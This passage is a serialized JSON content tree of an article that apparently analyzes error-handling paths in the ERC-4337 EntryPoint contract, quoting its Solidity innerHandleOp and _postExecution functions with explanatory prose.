",{"type":20,"tag":119,"props":103879,"children":103881},{"className":103880},[],[103882],{"type":26,"value":103883},"_postExecution()",{"type":26,"value":103885}," but with ",{"type":20,"tag":119,"props":103887,"children":103889},{"className":103888},[],[103890],{"type":26,"value":103891},"PostOpMode.postOpReverted",{"type":26,"value":103893},". This ensures proper cleanup happens even on failure.",{"type":20,"tag":29,"props":103895,"children":103896},{},[103897,103899,103904,103906,103911,103913,103918,103920,103925],{"type":26,"value":103898},"We're particularly interested in the third error path, where ",{"type":20,"tag":119,"props":103900,"children":103902},{"className":103901},[],[103903],{"type":26,"value":103825},{"type":26,"value":103905}," is neither ",{"type":20,"tag":119,"props":103907,"children":103909},{"className":103908},[],[103910],{"type":26,"value":103846},{"type":26,"value":103912}," nor ",{"type":20,"tag":119,"props":103914,"children":103916},{"className":103915},[],[103917],{"type":26,"value":103870},{"type":26,"value":103919},". To understand this case better, let's examine how ",{"type":20,"tag":119,"props":103921,"children":103923},{"className":103922},[],[103924],{"type":26,"value":103781},{"type":26,"value":103926}," works.",{"type":20,"tag":305,"props":103928,"children":103930},{"className":307,"code":103929,"language":309,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[103931],{"type":20,"tag":119,"props":103932,"children":103933},{"__ignoreMap":7},[103934,103950,103971,103991,104007,104040,104047,104064,104088,104128,104147,104172,104206,104230,104247,104255,104263,104271,104279,104287,104294,104307,104324,104331,104338,104345,104356,104395,104411,104418],{"type":20,"tag":315,"props":103935,"children":103936},{"class":317,"line":318},[103937,103941,103946],{"type":20,"tag":315,"props":103938,"children":103939},{"style":541},[103940],{"type":26,"value":88089},{"type":20,"tag":315,"props":103942,"children":103943},{"style":345},[103944],{"type":26,"value":103945}," innerHandleOp",{"type":20,"tag":315,"props":103947,"children":103948},{"style":328},[103949],{"type":26,"value":353},{"type":20,"tag":315,"props":103951,"children":103952},{"class":317,"line":356},[103953,103958,103962,103967],{"type":20,"tag":315,"props":103954,"children":103955},{"style":322},[103956],{"type":26,"value":103957}," bytes",{"type":20,"tag":315,"props":103959,"children":103960},{"style":541},[103961],{"type":26,"value":101338},{"type":20,"tag":315,"props":103963,"children":103964},{"style":635},[103965],{"type":26,"value":103966}," callData",{"type":20,"tag":315,"props":103968,"children":103969},{"style":328},[103970],{"type":26,"value":643},{"type":20,"tag":315,"props":103972,"children":103973},{"class":317,"line":365},[103974,103978,103982,103987],{"type":20,"tag":315,"props":103975,"children":103976},{"style":541},[103977],{"type":26,"value":102998},{"type":20,"tag":315,"props":103979,"children":103980},{"style":541},[103981],{"type":26,"value":101338},{"type":20,"tag":315,"props":103983,"children":103984},{"style":635},[103985],{"type":26,"value":103986}," opInfo",{"type":20,"tag":315,"props":103988,"children":103989},{"style":328},[103990],{"type":26,"value":643},{"type":20,"tag":315,"props":103992,"children":103993},{"class":317,"line":374},[103994,103998,104002],{"type":20,"tag":315,"props":103995,"children":103996},{"style":322},[103997],{"type":26,"value":103957},{"type":20,"tag":315,"props":103999,"children":104000},{"style":541},[104001],{"type":26,"value":101270},{"type":20,"tag":315,"props":104003,"children":104004},{"style":635},[104005],{"type":26,"value":104006}," context\n",{"type":20,"tag":315,"props":104008,"children":104009},{"class":317,"line":383},[104010,104015,104020,104024,104028,104032,104036],{"type":20,"tag":315,"props":104011,"children":104012},{"style":328},[104013],{"type":26,"value":104014}," ) ",{"type":20,"tag":315,"props":104016,"children":104017},{"style":541},[104018],{"type":26,"value":104019},"external",{"type":20,"tag":315,"props":104021,"children":104022},{"style":525},[104023],{"type":26,"value":74251},{"type":20,"tag":315,"props":104025,"children":104026},{"style":328},[104027],{"type":26,"value":463},{"type":20,"tag":315,"props":104029,"children":104030},{"style":322},[104031],{"type":26,"value":325},{"type":20,"tag":315,"props":104033,"children":104034},{"style":635},[104035],{"type":26,"value":102079},{"type":20,"tag":315,"props":104037,"children":104038},{"style":328},[104039],{"type":26,"value":549},{"type":20,"tag":315,"props":104041,"children":104042},{"class":317,"line":407},[104043],{"type":20,"tag":315,"props":104044,"children":104045},{"style":328},[104046],{"type":26,"value":103059},{"type":20,"tag":315,"props":104048,"children":104049},{"class":317,"line":421},[104050,104055,104059],{"type":20,"tag":315,"props":104051,"children":104052},{"style":328},[104053],{"type":26,"value":104054}," IPaymaster.PostOpMode mode ",{"type":20,"tag":315,"props":104056,"children":104057},{"style":334},[104058],{"type":26,"value":337},{"type":20,"tag":315,"props":104060,"children":104061},{"style":328},[104062],{"type":26,"value":104063}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":20,"tag":315,"props":104065,"children":104066},{"class":317,"line":430},[104067,104071,104076,104080,104084],{"type":20,"tag":315,"props":104068,"children":104069},{"style":525},[104070],{"type":26,"value":1654},{"type":20,"tag":315,"props":104072,"children":104073},{"style":328},[104074],{"type":26,"value":104075}," (callData.length ",{"type":20,"tag":315,"props":104077,"children":104078},{"style":334},[104079],{"type":26,"value":8862},{"type":20,"tag":315,"props":104081,"children":104082},{"style":765},[104083],{"type":26,"value":985},{"type":20,"tag":315,"props":104085,"children":104086},{"style":328},[104087],{"type":26,"value":549},{"type":20,"tag":315,"props":104089,"children":104090},{"class":317,"line":453},[104091,104096,104101,104105,104110,104114,104119,104123],{"type":20,"tag":315,"props":104092,"children":104093},{"style":322},[104094],{"type":26,"value":104095}," bool",{"type":20,"tag":315,"props":104097,"children":104098},{"style":328},[104099],{"type":26,"value":104100}," success ",{"type":20,"tag":315,"props":104102,"children":104103},{"style":334},[104104],{"type":26,"value":337},{"type":20,"tag":315,"props":104106,"children":104107},{"style":328},[104108],{"type":26,"value":104109}," Exec.",{"type":20,"tag":315,"props":104111,"children":104112},{"style":345},[104113],{"type":26,"value":36712},{"type":20,"tag":315,"props":104115,"children":104116},{"style":328},[104117],{"type":26,"value":104118},"(mUserOp.sender, ",{"type":20,"tag":315,"props":104120,"children":104121},{"style":765},[104122],{"type":26,"value":1063},{"type":20,"tag":315,"props":104124,"children":104125},{"style":328},[104126],{"type":26,"value":104127},", callData, callGasLimit);\n",{"type":20,"tag":315,"props":104129,"children":104130},{"class":317,"line":486},[104131,104135,104139,104143],{"type":20,"tag":315,"props":104132,"children":104133},{"style":525},[104134],{"type":26,"value":57054},{"type":20,"tag":315,"props":104136,"children":104137},{"style":328},[104138],{"type":26,"value":463},{"type":20,"tag":315,"props":104140,"children":104141},{"style":334},[104142],{"type":26,"value":19025},{"type":20,"tag":315,"props":104144,"children":104145},{"style":328},[104146],{"type":26,"value":103431},{"type":20,"tag":315,"props":104148,"children":104149},{"class":317,"line":499},[104150,104154,104159,104163,104168],{"type":20,"tag":315,"props":104151,"children":104152},{"style":322},[104153],{"type":26,"value":101718},{"type":20,"tag":315,"props":104155,"children":104156},{"style":328},[104157],{"type":26,"value":104158}," freePtr ",{"type":20,"tag":315,"props":104160,"children":104161},{"style":334},[104162],{"type":26,"value":337},{"type":20,"tag":315,"props":104164,"children":104165},{"style":345},[104166],{"type":26,"value":104167}," _getFreePtr",{"type":20,"tag":315,"props":104169,"children":104170},{"style":328},[104171],{"type":26,"value":568},{"type":20,"tag":315,"props":104173,"children":104174},{"class":317,"line":513},[104175,104179,104183,104188,104192,104196,104201],{"type":20,"tag":315,"props":104176,"children":104177},{"style":322},[104178],{"type":26,"value":103115},{"type":20,"tag":315,"props":104180,"children":104181},{"style":541},[104182],{"type":26,"value":101338},{"type":20,"tag":315,"props":104184,"children":104185},{"style":328},[104186],{"type":26,"value":104187}," result ",{"type":20,"tag":315,"props":104189,"children":104190},{"style":334},[104191],{"type":26,"value":337},{"type":20,"tag":315,"props":104193,"children":104194},{"style":328},[104195],{"type":26,"value":104109},{"type":20,"tag":315,"props":104197,"children":104198},{"style":345},[104199],{"type":26,"value":104200},"getReturnData",{"type":20,"tag":315,"props":104202,"children":104203},{"style":328},[104204],{"type":26,"value":104205},"(REVERT_REASON_MAX_LEN);\n",{"type":20,"tag":315,"props":104207,"children":104208},{"class":317,"line":521},[104209,104213,104218,104222,104226],{"type":20,"tag":315,"props":104210,"children":104211},{"style":525},[104212],{"type":26,"value":101778},{"type":20,"tag":315,"props":104214,"children":104215},{"style":328},[104216],{"type":26,"value":104217}," (result.length ",{"type":20,"tag":315,"props":104219,"children":104220},{"style":334},[104221],{"type":26,"value":8862},{"type":20,"tag":315,"props":104223,"children":104224},{"style":765},[104225],{"type":26,"value":985},{"type":20,"tag":315,"props":104227,"children":104228},{"style":328},[104229],{"type":26,"value":549},{"type":20,"tag":315,"props":104231,"children":104232},{"class":317,"line":552},[104233,104238,104243],{"type":20,"tag":315,"props":104234,"children":104235},{"style":525},[104236],{"type":26,"value":104237}," emit",{"type":20,"tag":315,"props":104239,"children":104240},{"style":345},[104241],{"type":26,"value":104242}," UserOperationRevertReason",{"type":20,"tag":315,"props":104244,"children":104245},{"style":328},[104246],{"type":26,"value":353},{"type":20,"tag":315,"props":104248,"children":104249},{"class":317,"line":571},[104250],{"type":20,"tag":315,"props":104251,"children":104252},{"style":328},[104253],{"type":26,"value":104254}," opInfo.userOpHash,\n",{"type":20,"tag":315,"props":104256,"children":104257},{"class":317,"line":2031},[104258],{"type":20,"tag":315,"props":104259,"children":104260},{"style":328},[104261],{"type":26,"value":104262}," mUserOp.sender,\n",{"type":20,"tag":315,"props":104264,"children":104265},{"class":317,"line":2053},[104266],{"type":20,"tag":315,"props":104267,"children":104268},{"style":328},[104269],{"type":26,"value":104270}," mUserOp.nonce,\n",{"type":20,"tag":315,"props":104272,"children":104273},{"class":317,"line":2061},[104274],{"type":20,"tag":315,"props":104275,"children":104276},{"style":328},[104277],{"type":26,"value":104278}," result\n",{"type":20,"tag":315,"props":104280,"children":104281},{"class":317,"line":2070},[104282],{"type":20,"tag":315,"props":104283,"children":104284},{"style":328},[104285],{"type":26,"value":104286}," );\n",{"type":20,"tag":315,"props":104288,"children":104289},{"class":317,"line":2139},[104290],{"type":20,"tag":315,"props":104291,"children":104292},{"style":328},[104293],{"type":26,"value":69327},{"type":20,"tag":315,"props":104295,"children":104296},{"class":317,"line":2147},[104297,104302],{"type":20,"tag":315,"props":104298,"children":104299},{"style":345},[104300],{"type":26,"value":104301}," _restoreFreePtr",{"type":20,"tag":315,"props":104303,"children":104304},{"style":328},[104305],{"type":26,"value":104306},"(freePtr);\n",{"type":20,"tag":315,"props":104308,"children":104309},{"class":317,"line":2177},[104310,104315,104319],{"type":20,"tag":315,"props":104311,"children":104312},{"style":328},[104313],{"type":26,"value":104314}," mode ",{"type":20,"tag":315,"props":104316,"children":104317},{"style":334},[104318],{"type":26,"value":337},{"type":20,"tag":315,"props":104320,"children":104321},{"style":328},[104322],{"type":26,"value":104323}," IPaymaster.PostOpMode.opReverted;\n",{"type":20,"tag":315,"props":104325,"children":104326},{"class":317,"line":2185},[104327],{"type":20,"tag":315,"props":104328,"children":104329},{"style":328},[104330],{"type":26,"value":57138},{"type":20,"tag":315,"props":104332,"children":104333},{"class":317,"line":2217},[104334],{"type":20,"tag":315,"props":104335,"children":104336},{"style":328},[104337],{"type":26,"value":1728},{"type":20,"tag":315,"props":104339,"children":104340},{"class":317,"line":2225},[104341],{"type":20,"tag":315,"props":104342,"children":104343},{"emptyLinePlaceholder":15},[104344],{"type":26,"value":427},{"type":20,"tag":315,"props":104346,"children":104347},{"class":317,"line":2285},[104348,104352],{"type":20,"tag":315,"props":104349,"children":104350},{"style":525},[104351],{"type":26,"value":101374},{"type":20,"tag":315,"props":104353,"children":104354},{"style":328},[104355],{"type":26,"value":1092},{"type":20,"tag":315,"props":104357,"children":104358},{"class":317,"line":7444},[104359,104363,104367,104371,104375,104379,104383,104387,104391],{"type":20,"tag":315,"props":104360,"children":104361},{"style":322},[104362],{"type":26,"value":101386},{"type":20,"tag":315,"props":104364,"children":104365},{"style":328},[104366],{"type":26,"value":103550},{"type":20,"tag":315,"props":104368,"children":104369},{"style":334},[104370],{"type":26,"value":337},{"type":20,"tag":315,"props":104372,"children":104373},{"style":328},[104374],{"type":26,"value":103559},{"type":20,"tag":315,"props":104376,"children":104377},{"style":334},[104378],{"type":26,"value":478},{"type":20,"tag":315,"props":104380,"children":104381},{"style":541},[104382],{"type":26,"value":103568},{"type":20,"tag":315,"props":104384,"children":104385},{"style":328},[104386],{"type":26,"value":12444},{"type":20,"tag":315,"props":104388,"children":104389},{"style":334},[104390],{"type":26,"value":817},{"type":20,"tag":315,"props":104392,"children":104393},{"style":328},[104394],{"type":26,"value":103581},{"type":20,"tag":315,"props":104396,"children":104397},{"class":317,"line":7462},[104398,104402,104406],{"type":20,"tag":315,"props":104399,"children":104400},{"style":525},[104401],{"type":26,"value":77334},{"type":20,"tag":315,"props":104403,"children":104404},{"style":345},[104405],{"type":26,"value":103690},{"type":20,"tag":315,"props":104407,"children":104408},{"style":328},[104409],{"type":26,"value":104410},"(mode, opInfo, context, actualGas);\n",{"type":20,"tag":315,"props":104412,"children":104413},{"class":317,"line":7507},[104414],{"type":20,"tag":315,"props":104415,"children":104416},{"style":328},[104417],{"type":26,"value":1728},{"type":20,"tag":315,"props":104419,"children":104420},{"class":317,"line":7613},[104421],{"type":20,"tag":315,"props":104422,"children":104423},{"style":328},[104424],{"type":26,"value":1736},{"type":20,"tag":29,"props":104426,"children":104427},{},[104428,104430,104435,104437,104442,104444,104450,104452,104458,104460,104465,104467,104477],{"type":26,"value":104429},"We observe that, in the happy path, ",{"type":20,"tag":119,"props":104431,"children":104433},{"className":104432},[],[104434],{"type":26,"value":103781},{"type":26,"value":104436}," is expected to not only execute the actual ",{"type":20,"tag":119,"props":104438,"children":104440},{"className":104439},[],[104441],{"type":26,"value":100440},{"type":26,"value":104443}," call, but also call ",{"type":20,"tag":119,"props":104445,"children":104447},{"className":104446},[],[104448],{"type":26,"value":104449},"_postExecution",{"type":26,"value":104451},". This means that the third failure handling path, which passes ",{"type":20,"tag":119,"props":104453,"children":104455},{"className":104454},[],[104456],{"type":26,"value":104457},"postOpReverted",{"type":26,"value":104459}," as its mode, happens when something goes wrong with the ",{"type":20,"tag":119,"props":104461,"children":104463},{"className":104462},[],[104464],{"type":26,"value":104449},{"type":26,"value":104466}," call ",{"type":20,"tag":3717,"props":104468,"children":104469},{},[104470,104472],{"type":26,"value":104471},"inside ",{"type":20,"tag":119,"props":104473,"children":104475},{"className":104474},[],[104476],{"type":26,"value":103781},{"type":26,"value":61},{"type":20,"tag":29,"props":104479,"children":104480},{},[104481,104483,104488],{"type":26,"value":104482},"Let's examine the ",{"type":20,"tag":119,"props":104484,"children":104486},{"className":104485},[],[104487],{"type":26,"value":104449},{"type":26,"value":104489}," code to understand where the revert might occur.",{"type":20,"tag":305,"props":104491,"children":104493},{"className":307,"code":104492,"language":309,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n }\n",[104494],{"type":20,"tag":119,"props":104495,"children":104496},{"__ignoreMap":7},[104497,104512,104537,104556,104575,104587,104624,104631,104663,104680,104695,104711,104735,104760,104784,104806,104824,104841,104849,104867,104883,104916,104934,104941,104948,104956,104972,105004,105026,105033,105040,105047],{"type":20,"tag":315,"props":104498,"children":104499},{"class":317,"line":318},[104500,104504,104508],{"type":20,"tag":315,"props":104501,"children":104502},{"style":541},[104503],{"type":26,"value":88089},{"type":20,"tag":315,"props":104505,"children":104506},{"style":345},[104507],{"type":26,"value":103690},{"type":20,"tag":315,"props":104509,"children":104510},{"style":328},[104511],{"type":26,"value":353},{"type":20,"tag":315,"props":104513,"children":104514},{"class":317,"line":356},[104515,104520,104524,104528,104533],{"type":20,"tag":315,"props":104516,"children":104517},{"style":541},[104518],{"type":26,"value":104519}," IPaymaster",{"type":20,"tag":315,"props":104521,"children":104522},{"style":328},[104523],{"type":26,"value":61},{"type":20,"tag":315,"props":104525,"children":104526},{"style":635},[104527],{"type":26,"value":102050},{"type":20,"tag":315,"props":104529,"children":104530},{"style":635},[104531],{"type":26,"value":104532}," mode",{"type":20,"tag":315,"props":104534,"children":104535},{"style":328},[104536],{"type":26,"value":643},{"type":20,"tag":315,"props":104538,"children":104539},{"class":317,"line":365},[104540,104544,104548,104552],{"type":20,"tag":315,"props":104541,"children":104542},{"style":541},[104543],{"type":26,"value":102998},{"type":20,"tag":315,"props":104545,"children":104546},{"style":541},[104547],{"type":26,"value":101338},{"type":20,"tag":315,"props":104549,"children":104550},{"style":635},[104551],{"type":26,"value":103986},{"type":20,"tag":315,"props":104553,"children":104554},{"style":328},[104555],{"type":26,"value":643},{"type":20,"tag":315,"props":104557,"children":104558},{"class":317,"line":374},[104559,104563,104567,104571],{"type":20,"tag":315,"props":104560,"children":104561},{"style":322},[104562],{"type":26,"value":103957},{"type":20,"tag":315,"props":104564,"children":104565},{"style":541},[104566],{"type":26,"value":101338},{"type":20,"tag":315,"props":104568,"children":104569},{"style":635},[104570],{"type":26,"value":74598},{"type":20,"tag":315,"props":104572,"children":104573},{"style":328},[104574],{"type":26,"value":643},{"type":20,"tag":315,"props":104576,"children":104577},{"class":317,"line":383},[104578,104582],{"type":20,"tag":315,"props":104579,"children":104580},{"style":322},[104581],{"type":26,"value":88267},{"type":20,"tag":315,"props":104583,"children":104584},{"style":635},[104585],{"type":26,"value":104586}," actualGas\n",{"type":20,"tag":315,"props":104588,"children":104589},{"class":317,"line":407},[104590,104594,104599,104604,104608,104612,104616,104620],{"type":20,"tag":315,"props":104591,"children":104592},{"style":328},[104593],{"type":26,"value":104014},{"type":20,"tag":315,"props":104595,"children":104596},{"style":541},[104597],{"type":26,"value":104598},"internal",{"type":20,"tag":315,"props":104600,"children":104601},{"style":541},[104602],{"type":26,"value":104603}," virtual",{"type":20,"tag":315,"props":104605,"children":104606},{"style":525},[104607],{"type":26,"value":74251},{"type":20,"tag":315,"props":104609,"children":104610},{"style":328},[104611],{"type":26,"value":463},{"type":20,"tag":315,"props":104613,"children":104614},{"style":322},[104615],{"type":26,"value":325},{"type":20,"tag":315,"props":104617,"children":104618},{"style":635},[104619],{"type":26,"value":102079},{"type":20,"tag":315,"props":104621,"children":104622},{"style":328},[104623],{"type":26,"value":549},{"type":20,"tag":315,"props":104625,"children":104626},{"class":317,"line":421},[104627],{"type":20,"tag":315,"props":104628,"children":104629},{"style":328},[104630],{"type":26,"value":103059},{"type":20,"tag":315,"props":104632,"children":104633},{"class":317,"line":430},[104634,104638,104643,104647,104651,104655,104659],{"type":20,"tag":315,"props":104635,"children":104636},{"style":525},[104637],{"type":26,"value":57054},{"type":20,"tag":315,"props":104639,"children":104640},{"style":328},[104641],{"type":26,"value":104642}," (paymaster ",{"type":20,"tag":315,"props":104644,"children":104645},{"style":334},[104646],{"type":26,"value":538},{"type":20,"tag":315,"props":104648,"children":104649},{"style":322},[104650],{"type":26,"value":4644},{"type":20,"tag":315,"props":104652,"children":104653},{"style":328},[104654],{"type":26,"value":1049},{"type":20,"tag":315,"props":104656,"children":104657},{"style":765},[104658],{"type":26,"value":1063},{"type":20,"tag":315,"props":104660,"children":104661},{"style":328},[104662],{"type":26,"value":33609},{"type":20,"tag":315,"props":104664,"children":104665},{"class":317,"line":453},[104666,104671,104675],{"type":20,"tag":315,"props":104667,"children":104668},{"style":328},[104669],{"type":26,"value":104670}," refundAddress ",{"type":20,"tag":315,"props":104672,"children":104673},{"style":334},[104674],{"type":26,"value":337},{"type":20,"tag":315,"props":104676,"children":104677},{"style":328},[104678],{"type":26,"value":104679}," mUserOp.sender;\n",{"type":20,"tag":315,"props":104681,"children":104682},{"class":317,"line":486},[104683,104687,104691],{"type":20,"tag":315,"props":104684,"children":104685},{"style":328},[104686],{"type":26,"value":68850},{"type":20,"tag":315,"props":104688,"children":104689},{"style":525},[104690],{"type":26,"value":1087},{"type":20,"tag":315,"props":104692,"children":104693},{"style":328},[104694],{"type":26,"value":1092},{"type":20,"tag":315,"props":104696,"children":104697},{"class":317,"line":499},[104698,104702,104706],{"type":20,"tag":315,"props":104699,"children":104700},{"style":328},[104701],{"type":26,"value":104670},{"type":20,"tag":315,"props":104703,"children":104704},{"style":334},[104705],{"type":26,"value":337},{"type":20,"tag":315,"props":104707,"children":104708},{"style":328},[104709],{"type":26,"value":104710}," paymaster;\n",{"type":20,"tag":315,"props":104712,"children":104713},{"class":317,"line":513},[104714,104718,104723,104727,104731],{"type":20,"tag":315,"props":104715,"children":104716},{"style":525},[104717],{"type":26,"value":101778},{"type":20,"tag":315,"props":104719,"children":104720},{"style":328},[104721],{"type":26,"value":104722}," (context.length ",{"type":20,"tag":315,"props":104724,"children":104725},{"style":334},[104726],{"type":26,"value":8862},{"type":20,"tag":315,"props":104728,"children":104729},{"style":765},[104730],{"type":26,"value":985},{"type":20,"tag":315,"props":104732,"children":104733},{"style":328},[104734],{"type":26,"value":549},{"type":20,"tag":315,"props":104736,"children":104737},{"class":317,"line":521},[104738,104743,104747,104751,104755],{"type":20,"tag":315,"props":104739,"children":104740},{"style":328},[104741],{"type":26,"value":104742}," actualGasCost ",{"type":20,"tag":315,"props":104744,"children":104745},{"style":334},[104746],{"type":26,"value":337},{"type":20,"tag":315,"props":104748,"children":104749},{"style":328},[104750],{"type":26,"value":103550},{"type":20,"tag":315,"props":104752,"children":104753},{"style":334},[104754],{"type":26,"value":901},{"type":20,"tag":315,"props":104756,"children":104757},{"style":328},[104758],{"type":26,"value":104759}," gasPrice;\n",{"type":20,"tag":315,"props":104761,"children":104762},{"class":317,"line":552},[104763,104767,104772,104776,104780],{"type":20,"tag":315,"props":104764,"children":104765},{"style":322},[104766],{"type":26,"value":101735},{"type":20,"tag":315,"props":104768,"children":104769},{"style":328},[104770],{"type":26,"value":104771}," postOpPreGas ",{"type":20,"tag":315,"props":104773,"children":104774},{"style":334},[104775],{"type":26,"value":337},{"type":20,"tag":315,"props":104777,"children":104778},{"style":541},[104779],{"type":26,"value":103568},{"type":20,"tag":315,"props":104781,"children":104782},{"style":328},[104783],{"type":26,"value":568},{"type":20,"tag":315,"props":104785,"children":104786},{"class":317,"line":571},[104787,104792,104797,104801],{"type":20,"tag":315,"props":104788,"children":104789},{"style":525},[104790],{"type":26,"value":104791}," if",{"type":20,"tag":315,"props":104793,"children":104794},{"style":328},[104795],{"type":26,"value":104796}," (mode ",{"type":20,"tag":315,"props":104798,"children":104799},{"style":334},[104800],{"type":26,"value":14089},{"type":20,"tag":315,"props":104802,"children":104803},{"style":328},[104804],{"type":26,"value":104805}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":20,"tag":315,"props":104807,"children":104808},{"class":317,"line":2031},[104809,104814,104819],{"type":20,"tag":315,"props":104810,"children":104811},{"style":525},[104812],{"type":26,"value":104813}," try",{"type":20,"tag":315,"props":104815,"children":104816},{"style":345},[104817],{"type":26,"value":104818}," IPaymaster",{"type":20,"tag":315,"props":104820,"children":104821},{"style":328},[104822],{"type":26,"value":104823},"(paymaster).postOp{\n",{"type":20,"tag":315,"props":104825,"children":104826},{"class":317,"line":2053},[104827,104832,104836],{"type":20,"tag":315,"props":104828,"children":104829},{"style":328},[104830],{"type":26,"value":104831}," gas",{"type":20,"tag":315,"props":104833,"children":104834},{"style":334},[104835],{"type":26,"value":2884},{"type":20,"tag":315,"props":104837,"children":104838},{"style":328},[104839],{"type":26,"value":104840}," mUserOp.paymasterPostOpGasLimit\n",{"type":20,"tag":315,"props":104842,"children":104843},{"class":317,"line":2061},[104844],{"type":20,"tag":315,"props":104845,"children":104846},{"style":328},[104847],{"type":26,"value":104848}," }(mode, context, actualGasCost, gasPrice)\n",{"type":20,"tag":315,"props":104850,"children":104851},{"class":317,"line":2070},[104852,104857,104862],{"type":20,"tag":315,"props":104853,"children":104854},{"style":1071},[104855],{"type":26,"value":104856}," // ",{"type":20,"tag":315,"props":104858,"children":104859},{"style":541},[104860],{"type":26,"value":104861},"solhint-disable",{"type":20,"tag":315,"props":104863,"children":104864},{"style":1071},[104865],{"type":26,"value":104866},"-next-line no-empty-blocks\n",{"type":20,"tag":315,"props":104868,"children":104869},{"class":317,"line":2139},[104870,104875,104879],{"type":20,"tag":315,"props":104871,"children":104872},{"style":328},[104873],{"type":26,"value":104874}," {} ",{"type":20,"tag":315,"props":104876,"children":104877},{"style":525},[104878],{"type":26,"value":46662},{"type":20,"tag":315,"props":104880,"children":104881},{"style":328},[104882],{"type":26,"value":1092},{"type":20,"tag":315,"props":104884,"children":104885},{"class":317,"line":2147},[104886,104891,104895,104900,104904,104908,104912],{"type":20,"tag":315,"props":104887,"children":104888},{"style":322},[104889],{"type":26,"value":104890}," bytes",{"type":20,"tag":315,"props":104892,"children":104893},{"style":541},[104894],{"type":26,"value":101338},{"type":20,"tag":315,"props":104896,"children":104897},{"style":328},[104898],{"type":26,"value":104899}," reason ",{"type":20,"tag":315,"props":104901,"children":104902},{"style":334},[104903],{"type":26,"value":337},{"type":20,"tag":315,"props":104905,"children":104906},{"style":328},[104907],{"type":26,"value":104109},{"type":20,"tag":315,"props":104909,"children":104910},{"style":345},[104911],{"type":26,"value":104200},{"type":20,"tag":315,"props":104913,"children":104914},{"style":328},[104915],{"type":26,"value":104205},{"type":20,"tag":315,"props":104917,"children":104918},{"class":317,"line":2177},[104919,104924,104929],{"type":20,"tag":315,"props":104920,"children":104921},{"style":525},[104922],{"type":26,"value":104923}," revert",{"type":20,"tag":315,"props":104925,"children":104926},{"style":345},[104927],{"type":26,"value":104928}," PostOpReverted",{"type":20,"tag":315,"props":104930,"children":104931},{"style":328},[104932],{"type":26,"value":104933},"(reason);\n",{"type":20,"tag":315,"props":104935,"children":104936},{"class":317,"line":2185},[104937],{"type":20,"tag":315,"props":104938,"children":104939},{"style":328},[104940],{"type":26,"value":69234},{"type":20,"tag":315,"props":104942,"children":104943},{"class":317,"line":2217},[104944],{"type":20,"tag":315,"props":104945,"children":104946},{"style":328},[104947],{"type":26,"value":69319},{"type":20,"tag":315,"props":104949,"children":104950},{"class":317,"line":2225},[104951],{"type":20,"tag":315,"props":104952,"children":104953},{"style":1071},[104954],{"type":26,"value":104955}," // Calculating a penalty for unused postOp gas\n",{"type":20,"tag":315,"props":104957,"children":104958},{"class":317,"line":2285},[104959,104963,104967],{"type":20,"tag":315,"props":104960,"children":104961},{"style":1071},[104962],{"type":26,"value":101800},{"type":20,"tag":315,"props":104964,"children":104965},{"style":541},[104966],{"type":26,"value":65014},{"type":20,"tag":315,"props":104968,"children":104969},{"style":1071},[104970],{"type":26,"value":104971}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":20,"tag":315,"props":104973,"children":104974},{"class":317,"line":7444},[104975,104979,104984,104988,104992,104996,105000],{"type":20,"tag":315,"props":104976,"children":104977},{"style":322},[104978],{"type":26,"value":101735},{"type":20,"tag":315,"props":104980,"children":104981},{"style":328},[104982],{"type":26,"value":104983}," postOpGasUsed ",{"type":20,"tag":315,"props":104985,"children":104986},{"style":334},[104987],{"type":26,"value":337},{"type":20,"tag":315,"props":104989,"children":104990},{"style":328},[104991],{"type":26,"value":104771},{"type":20,"tag":315,"props":104993,"children":104994},{"style":334},[104995],{"type":26,"value":478},{"type":20,"tag":315,"props":104997,"children":104998},{"style":541},[104999],{"type":26,"value":103568},{"type":20,"tag":315,"props":105001,"children":105002},{"style":328},[105003],{"type":26,"value":568},{"type":20,"tag":315,"props":105005,"children":105006},{"class":317,"line":7462},[105007,105012,105016,105021],{"type":20,"tag":315,"props":105008,"children":105009},{"style":328},[105010],{"type":26,"value":105011}," postOpUnusedGasPenalty ",{"type":20,"tag":315,"props":105013,"children":105014},{"style":334},[105015],{"type":26,"value":337},{"type":20,"tag":315,"props":105017,"children":105018},{"style":345},[105019],{"type":26,"value":105020}," _getUnusedGasPenalty",{"type":20,"tag":315,"props":105022,"children":105023},{"style":328},[105024],{"type":26,"value":105025},"(postOpGasUsed, 